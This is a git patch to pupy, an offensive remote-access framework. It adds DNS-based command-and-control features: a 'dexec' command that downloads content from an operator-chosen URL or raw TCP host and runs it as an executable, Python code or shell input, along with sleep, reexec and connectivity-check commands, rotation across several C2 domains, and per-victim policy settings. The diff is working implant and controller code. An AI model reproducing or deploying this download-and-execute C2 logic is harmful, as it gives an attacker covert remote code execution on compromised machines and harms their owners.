From 8c4688becf444c100000be519f940c6d711d6380 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Fri, 3 Mar 2017 17:07:09 +0200 Subject: [PATCH] Add new DNSCNC commands - dexec, sleep, reexec --- pupy/network/lib/launchers/dnscnc.py | 32 ++++++++ pupy/network/lib/picocmd/client.py | 92 +++++++++++++++++++++- pupy/network/lib/picocmd/picocmd.py | 113 ++++++++++++++++++++++++++- pupy/network/lib/picocmd/server.py | 49 ++++++++++-- pupy/pupylib/PupyCmd.py | 84 ++++++++++++++------ pupy/pupylib/PupyDnsCnc.py | 31 +++++++- 6 files changed, 361 insertions(+), 40 deletions(-) diff --git a/pupy/network/lib/launchers/dnscnc.py b/pupy/network/lib/launchers/dnscnc.py index 8e669766..f0459e4a 100644 --- a/pupy/network/lib/launchers/dnscnc.py +++ b/pupy/network/lib/launchers/dnscnc.py @@ -10,6 +10,7 @@ import socket import os import logging +import subprocess class DNSCommandClientLauncher(DnsCommandsClient): def __init__(self, domain): @@ -28,6 +29,9 @@ class DNSCommandClientLauncher(DnsCommandsClient): DnsCommandsClient.__init__(self, domain, key=key) + def on_downloadexec_content(self, url, action, content): + self.on_pastelink_content(url, action, content) + def on_pastelink_content(self, url, action, content): if action.startswith('exec'): with tempfile.NamedTemporaryFile() as tmp: @@ -41,6 +45,34 @@ class DNSCommandClientLauncher(DnsCommandsClient): exec content except Exception as e: logging.exception(e) + elif action.startswith('sh'): + try: + pipe = None + if platform.system == 'Windows': + kwargs = { + 'stdin': subprocess.PIPE + } + + if hasattr(subprocess, 'STARTUPINFO'): + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags |= \ + subprocess.CREATE_NEW_CONSOLE | \ + subprocess.STARTF_USESHOWWINDOW + + kwargs.update({ + 'startupinfo': startupinfo, + }) + + pipe = subprocess.Pipe('cmd.exe', **kwargs) + else: + pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE) + + pipe.stdin.write(content) + pipe.stdin.close() + pipe.communicate() + + except Exception as e: + logging.exception(e) def on_connect(self, ip, port, transport): with self.lock: diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py index efd58d60..d50b60d2 100644 --- a/pupy/network/lib/picocmd/client.py +++ b/pupy/network/lib/picocmd/client.py @@ -15,6 +15,7 @@ import zlib import tempfile import subprocess import logging +import urllib import urllib2 from ecpv import ECPV @@ -22,12 +23,73 @@ from picocmd import * from threading import Thread +class TCPFile(StringIO.StringIO): + pass + +class TCPReaderHandler(urllib2.BaseHandler): + def tcp_open(self, req): + addr = req.get_host().rsplit(':', 1) + host = addr[0] + if len(addr) == 1: + port = 53 + else: + port = addr[1] + + data = [] + conn = socket.create_connection((host, port)) + conn.settimeout(30) + + try: + while True: + b = conn.recv(65535) + if not b: + break + + data.append(b) + + if not data: + raise ValueError('No data') + except: + pass + + data = b''.join(data) + + fp = TCPFile(data) + if data: + headers = { + 'Content-type': 'application/octet-stream', + 'Content-length': len(data), + } + code = 200 + else: + headers = {} + code = 404 + + return urllib.addinfourl(fp, headers, req.get_full_url(), code=code) + +urllib2.install_opener( + urllib2.build_opener(TCPReaderHandler()) +) + class DnsCommandClientDecodingError(Exception): pass +__DEBUG = 0 + +if __DEBUG: + import dns.resolver + resolver = dns.resolver.Resolver() + resolver.nameservers = [ '127.0.0.1' ] + resolver.port = 5454 + socket.gethostbyname_ex = lambda x: (None, None, [ + str(rdata) for rdata in resolver.query(x, 'A') + ]) + class DnsCommandsClient(Thread): def __init__(self, domain, key): - self.domain = domain + self.domains = domain.split(',') + self.domain_id = 0 + self.domain = self.domains[self.domain_id] self.translation = dict(zip( ''.join([ ''.join([chr(x) for x in xrange(ord('A'), ord('Z') + 1)]), @@ -48,6 +110,9 @@ class DnsCommandsClient(Thread): Thread.__init__(self) + def next(self): + self.domain_id = ( self.domain + 1 ) % len(self.domains) + self.domain = self.domains[self.domain_id] def _a_page_decoder(self, addresses, nonce, symmetric=None): if symmetric is None: @@ -107,6 +172,7 @@ class DnsCommandsClient(Thread): except socket.error as e: logging.error('DNSCNC: Communication error: {}'.format(e)) + self.next() return [] response = None @@ -157,12 +223,32 @@ class DnsCommandsClient(Thread): except Exception as e: logging.exception(e) + def on_downloadexec(self, url, action, use_proxy): + if use_proxy: + opener = urllib2.build_opener(urllib2.ProxyHandler()).open + else: + opener = urllib2.urlopen + + try: + response = opener(url) + if response.code == 200: + self.on_downloadexec_content(url, action, response.read()) + + except Exception as e: + logging.exception(e) + def on_pastelink_content(self, url, action, content): pass + def on_downloadexec_content(self, url, action, content): + pass + def on_connect(self, ip, port, transport): pass + def on_checkconnect(self, host, port_start, port_end=None): + pass + def on_exit(self): self.active = False @@ -202,6 +288,8 @@ class DnsCommandsClient(Thread): response)) elif isinstance(command, PasteLink): self.on_pastelink(command.url, command.action, self.encoder) + elif isinstance(command, DownloadExec): + self.on_downloadexec(command.url, command.action, command.proxy) elif isinstance(command, Connect): self.on_connect(command.ip, command.port, transport=command.transport) elif isinstance(command, Error): @@ -210,6 +298,8 @@ class DnsCommandsClient(Thread): self.on_disconnect() elif isinstance(command, Sleep): time.sleep(command.timeout) + elif isinstance(command, CheckConnect): + self.on_checkconnect(command.host, command.port_start, port_end=command.port_end) elif isinstance(command, Reexec): executable = os.readlink('/proc/self/exe') args = open('/proc/self/cmdline').read().split('\x00') diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py index 5d589129..c8fd8f11 100644 --- a/pupy/network/lib/picocmd/picocmd.py +++ b/pupy/network/lib/picocmd/picocmd.py @@ -12,6 +12,9 @@ import platform import uuid import uptime import urllib2 +import urlparse +import StringIO +import socket def from_bytes(bytes): return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes)) @@ -70,18 +73,41 @@ class Sleep(Command): @staticmethod def unpack(data): return Sleep( - struct.unpack_from(' 16: + raise ValueError('Too big url path') + + try: + scheme = self.well_known_downloadexec_scheme_encode[ + url.scheme + ] + except: + raise ValueError('Unknown scheme: {}'.format(url.scheme)) + + code = (self.proxy << 5) | (action << 3) | scheme + + return struct.pack( + 'BIHB', code, addr, port, len(path) + ) + path + + def __repr__(self): + return '{{DEXEC: URL={} ACTION={} PROXY={}}}'.format( + self.url, self.action, self.proxy + ) + + @staticmethod + def unpack(data): + bsize = struct.calcsize('BIHB') + code, addr, port, plen = struct.unpack_from('BIHB', data) + action = DownloadExec.well_known_downloadexec_action_decode[(code >> 3) & 3] + scheme = DownloadExec.well_known_downloadexec_scheme_decode[code & 7] + proxy = bool((code >> 5) & 1) + host = str(netaddr.IPAddress(addr)) + port = ':{}'.format(port) if port else ( + '' if scheme in ('http', 'ftp', 'https') else 53 + ) + path = data[bsize:plen] + return DownloadExec('{}://{}{}{}'.format( + scheme, host, port, path + ), action, proxy), bsize+plen + class PasteLink(Command): internet_required = True @@ -349,7 +454,7 @@ class PasteLink(Command): # 4 max - 2 bits well_known_pastebin_action_decode = dict(enumerate([ - 'pyexec', 'exec' + 'pyexec', 'exec', 'sh' ])) well_known_pastebin_action_encode = { @@ -467,7 +572,7 @@ class Parcel(object): commands = [ Poll, Ack, Policy, Idle, Kex, Connect, PasteLink, SystemInfo, Error, Disconnect, Exit, - Sleep, Reexec + Sleep, Reexec, DownloadExec, CheckConnect ] commands_decode = dict(enumerate(commands)) diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py index 2c69f995..dfcf1f07 100644 --- a/pupy/network/lib/picocmd/server.py +++ b/pupy/network/lib/picocmd/server.py @@ -25,17 +25,26 @@ from ecpv import ECPV from threading import Thread, RLock, Event class Session(object): - def __init__(self, spi, encoder, commands): + def __init__(self, spi, encoder, commands, timeout): self.spi = spi self._start = time.time() self._encoder = encoder self._last_access = 0 + self._timeout = timeout self.system_info = None self.commands = commands self.last_nonce = None self.last_qname = None self.cache = {} + @property + def timeout(self): + return ( self.idle > self._timeout ) + + @timeout.setter + def timeout(self, value): + self._timeout = value + @property def idle(self): return int(time.time() - self._last_access) @@ -206,19 +215,42 @@ class DnsCommandServerHandler(BaseResolver): ] @locked - def set_policy(self, kex=True, timeout=None, interval=None): + def set_policy(self, kex=True, timeout=None, interval=None, node=None): if kex == self.kex and self.timeout == timeout and self.interval == self.interval: return if interval and interval < 30: raise ValueError('Interval should not be less then 30s to avoid DNS storm') - self.interval = interval or self.interval - self.timeout = max(timeout if timeout else self.timeout, self.interval*3) - self.kex = kex if ( kex is not None ) else self.kex + if node and (interval or timeout): + session = self.find_sessions( + spi=node) or self.find_sessions(node=node) - cmd = Policy(self.interval, self.kex) - return self.add_command(cmd) + if session: + session = session[0] + + if interval: + session.timeout = (interval*3) + else: + interval = self.interval + + if timeout: + session.timeout = timeout + + if kex is None: + kex = self.kex + + else: + self.interval = interval or self.interval + self.timeout = max(timeout if timeout else self.timeout, self.interval*3) + self.kex = kex if ( kex is not None ) else self.kex + + interval = self.interval + timeout = self.timeout + kex = self.kex + + cmd = Policy(interval, kex) + return self.add_command(cmd, session=node) @locked def encode_pastelink_content(self, content): @@ -333,7 +365,8 @@ class DnsCommandServerHandler(BaseResolver): self.sessions[command.spi] = Session( command.spi, self.encoder.clone(), - self.commands + self.commands, + self.timeout ) encoder = self.sessions[command.spi].encoder diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py index dd2928c0..98774fee 100644 --- a/pupy/pupylib/PupyCmd.py +++ b/pupy/pupylib/PupyCmd.py @@ -684,6 +684,10 @@ class PupyCmd(cmd.Cmd): arg_parser = PupyArgumentParser( prog='dnscnc', description=self.do_dnscnc.__doc__) + arg_parser.add_argument('-n', '--node', help='Send command only to this node (or session)') + arg_parser.add_argument('-d', '--default', action='store_true', default=False, + help='Set command as default for new connections') + commands = arg_parser.add_subparsers(title='commands', dest='command') status = commands.add_parser('status', help='DNSCNC status') clist = commands.add_parser('list', help='List known DNSCNC clients') @@ -694,36 +698,33 @@ class PupyCmd(cmd.Cmd): policy.add_argument('-t', '--timeout', type=int, help='Set session timeout') connect = commands.add_parser('connect', help='Request reverse connection') - connect.add_argument('-n', '--node', help='Send command only to this node') - connect.add_argument('-d', '--default', action='store_true', default=False, - help='Set command as default for new connections') connect.add_argument('-c', '--host', help='Manually specify external IP address for connection') connect.add_argument('-p', '--port', help='Manually specify external PORT for connection') connect.add_argument('-t', '--transport', help='Manually specify transport for connection') reset = commands.add_parser('reset', help='Reset scheduled commands') - reset.add_argument('-n', '--node', help='Remove all commands for specified node') - reset.add_argument('-d', '--default', action='store_true', default=False, - help='Remove all default commands') disconnect = commands.add_parser('disconnect', help='Request disconnection') - disconnect.add_argument('-d', '--default', action='store_true', default=False, - help='Set command as default for new connections') - disconnect.add_argument('-n', '--node', help='Send command only to this node') - exit = commands.add_parser('exit', help='Request exit') - exit.add_argument('-d', '--default', action='store_true', default=False, - help='Set command as default for new connections') - exit.add_argument('-n', '--node', help='Send command only to this node') + reexec = commands.add_parser('reexec', help='Try to reexec module') - pastelink = commands.add_parser('pastelink', help='Execute code by link') - pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec'], default='pyexec', - help='Action - execute as executable, or evaluate as python code') + sleep = commands.add_parser('sleep', help='Postpone any activity') + sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)') + + pastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service') + pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec', + help='Action - execute as executable, or evaluate as python/sh code') pastelink_src = pastelink.add_mutually_exclusive_group(required=True) pastelink_src.add_argument('-c', '--create', help='Create new pastelink from file') pastelink_src.add_argument('-u', '--url', help='Specify existing URL') - pastelink.add_argument('-d', '--default', action='store_true', default=False, - help='Set command as default for new connections') - pastelink.add_argument('-n', '--node', help='Send command only to this node') + + dexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you') + dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec', + help='Action - execute as executable, or evaluate as python/sh code') + dexec.add_argument('-u', '--url', required=True, help='URL to data') + dexec.add_argument('-p', '--proxy', action='store_true', default=False, + help='Ask to use system proxy (http/https only)') + + exit = commands.add_parser('exit', help='Request exit') try: args = arg_parser.parse_args(shlex.split(arg)) @@ -802,7 +803,7 @@ class PupyCmd(cmd.Cmd): if all([x is None for x in [args.kex, args.timeout, args.poll]]): self.display_error('No arguments provided.') else: - count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll) + count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll, node=args.node) if count: self.display_success('Apply policy to {} known nodes'.format(count)) @@ -853,12 +854,49 @@ class PupyCmd(cmd.Cmd): elif args.node: self.display_error('Node {} not found'.format(args.node)) + elif args.command == 'reexec': + count = self.dnscnc.reexec( + node=args.node, + default=args.default + ) + + if count: + self.display_success('Schedule reexec to {} known nodes'.format(count)) + elif args.node: + self.display_error('Node {} not found'.format(args.node)) + + elif args.command == 'sleep': + count = self.dnscnc.sleep( + args.timeout, + node=args.node, + default=args.default + ) + + if count: + self.display_success('Schedule sleep to {} known nodes'.format(count)) + elif args.node: + self.display_error('Node {} not found'.format(args.node)) + + elif args.command == 'dexec': + count = self.dnscnc.dexec( + args.url, + args.action, + proxy=args.proxy, + node=args.node, + default=args.default + ) + + if count: + self.display_success('Schedule sleep to {} known nodes'.format(count)) + elif args.node: + self.display_error('Node {} not found'.format(args.node)) + elif args.command == 'pastelink': try: count, url = self.dnscnc.pastelink( - content=args.create, - url=args.url, - action=args.action, + args.url, + args.action, + proxy=args.proxy, node=args.node, default=args.default ) diff --git a/pupy/pupylib/PupyDnsCnc.py b/pupy/pupylib/PupyDnsCnc.py index 9c1863f8..853bfbf1 100644 --- a/pupy/pupylib/PupyDnsCnc.py +++ b/pupy/pupylib/PupyDnsCnc.py @@ -33,12 +33,26 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler): def disconnect(self, node=None, default=False): return self.add_command(Disconnect(), session=node, default=default) + def reexec(self, node=None, default=False): + return self.add_command(Reexec(), session=node, default=default) + + def sleep(self, timeout, node=None, default=False): + return self.add_command(Sleep(timeout), session=node, default=default) + def exit(self, node=None, default=False): return self.add_command(Exit(), session=node, default=default) - def pastelink(self, url, action, node=None, default=None): - return self.add_command(PasteLink(url, action=action), session=node, default=default) + def dexec(self, url, action, proxy=False, node=None, default=None): + return self.add_command( + DownloadExec(url, action=action, proxy=proxy), + session=node, default=default + ) + def pastelink(self, url, action, node=None, default=None): + return self.add_command( + PasteLink(url, action=action), + session=node, default=default + ) class PupyDnsCnc(object): def __init__( @@ -95,9 +109,18 @@ class PupyDnsCnc(object): def exit(self, **kwargs): return self.handler.exit(**kwargs) + def sleep(self, *args, **kwargs): + return self.handler.sleep(*args, **kwargs) + + def reexec(self, **kwargs): + return self.handler.reexec(**kwargs) + def reset(self, **kwargs): return self.handler.reset_commands(**kwargs) + def dexec(self, *args, **kwargs): + return self.handler.dexec(*args, **kwargs) + def pastelink(self, content=None, url=None, action='pyeval', node=None, default=False): if not ( content or url ): raise ValueError('content and url args are empty') @@ -134,8 +157,8 @@ class PupyDnsCnc(object): 'kex': self.handler.kex, } - def set_policy(self, kex, timeout, interval): - return self.handler.set_policy(kex=kex, timeout=timeout, interval=interval) + def set_policy(self, *args, **kwargs): + return self.handler.set_policy(*args, **kwargs) @property def dirty(self):